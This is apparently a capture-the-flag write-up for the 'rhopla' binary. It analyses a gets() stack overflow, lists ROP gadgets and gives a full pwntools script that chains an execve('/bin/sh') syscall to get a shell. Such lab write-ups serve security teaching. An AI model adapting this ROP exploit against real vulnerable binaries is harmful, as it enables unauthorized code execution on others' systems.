Initial Statement
The goal of this challenge is simple. Gain an access over the server using a vulnerability in the software. Although this is a quite typical exploitation, there was only two solves on this challenge.
Analysis
First thing to do with this kind of challenge is execute the file
and checksec
command on the binary.
$ file rhopla
rhopla: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=985259f7b57d9f8094a8747a07a167d58f5862fd, for GNU/Linux 3.2.0, stripped
$ checksec --file=rhopla
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 2 rhopla
It's a basic x86_64 binary, with no canary and no PIE. We can assume ASLR is enabled on the remote server. And we don't have the libc.
Let's try to disassemble this binary. To do this I use IDA Free since we can use its cloud decompiler for x86_64 binaries.
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char v4[16]; // [rsp+0h] [rbp-10h] BYREF
puts("What's your hacker name?");
fflush(stdout);
gets(v4, a2);
printf("Welcome to the matrix, %s...\n", v4);
return 0LL;
}
The code is very simple. The program asks for a user input and takes it using the gets
command which doesn't perform any check on the length of the input. We can notice the binary is wrongly decompiled since gets
only takes one argument. Then the program prints our input.
Okay so there is an obvious buffer overflow vulnerability. Let's exploit it.
Exploitation
There are two common ways of solving that kind of challenge. My first idea was trying to leak the address of puts in the libc using a ret2plt exploit, then compute its offset with system and binsh. So I could execute system("/bin/sh")
. But I couldn't identify the version of the libc so I had to do something else.
The second way of solving that challenge is using ROP to achieve a call to ``execve("/bin/sh", [], 0)```
Let's do it.
Get gadgets
The first step is about gathering gadgets in the binary. Typically a gadget is a set of 0 to maybe 10 instructions before a ret instruction.
Here is what we need to perform a rop:
- A way to control rax (syscall number)
- A way to control rdi (1st argument on x86_64)
- A way to control rsi (2nd argument)
- A way to control rdx (3rd argument)
- A way to write /bin/sh somewhere
I often use ROPgadget to get these gadgets. On x86_64, the pop rdi; ret
and pop rsi; pop r15; ret
are always present (at the end of the csu).
We have great gadgets that suits almost everything we need:
$ ROPgadget --binary=rhopla
# [...]
0x0000000000401159 : pop rax ; ret
0x000000000040115e : pop rdi ; ret
0x000000000040116e : pop rdx ; ret
0x0000000000401229 : pop rsi ; pop r15 ; ret
0x0000000000401174 : syscall
Our problem is.. there is no way to achieve a write what where. So after minutes of brainstorming, I decided to randomly strings
the binary to check if maybe the /bin/sh string is already present... Bingo:
Let's jump to its location using IDA:
It's at the end of the .data segment. This segment doesn't move unless there is PIE. So we will be able to use it as is in our exploit.
Which gives us:
0x0000000000404048: /bin/sh
Let's write our exploit!
Exploit time
Our payload will look like this:
[ Junk 16x ] + [ Junk 8x ] + [ ropchain ]
Why 16 + 8 ? Simply because the default stack layout on x86_64 looks like this:
+----------+--------+--------+
| | | |
| Buffers | sRBP | sRIP |
| | | |
+----------+--------+--------+
So we need to overwrite stored RBP before overwriting our sRIP.
We can find the syscall table at this url: syscall table
Here is the solve script:
from pwn import *
elf = ELF('./rhopla')
#r = remote('rhopla.interiut2022', 6666) # remote only
r = elf.process()
r.recvline() # blabla what's your name
payload = b'A' * 16 # buffer
payload += b'B' * 8 # sRBP
payload += p64(0x0000000000401159) # pop rax; ret
payload += p64(0x3b) # execve syscall
payload += p64(0x000000000040115e) # pop rdi; ret
payload += p64(0x0000000000404048) # /bin/sh
payload += p64(0x0000000000401229) # pop rsi; pop r15; ret
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x000000000040116e) # pop rdx; ret, not really necessary
payload += p64(0x0)
payload += p64(0x0000000000401174) # syscall
r.sendline(payload)
r.interactive() # get shell
And we get a shell !
(At the time writing this write up, the challenges are down. Trust me, it works remotely ;))
Thanks to 0xEOL for the cool challenge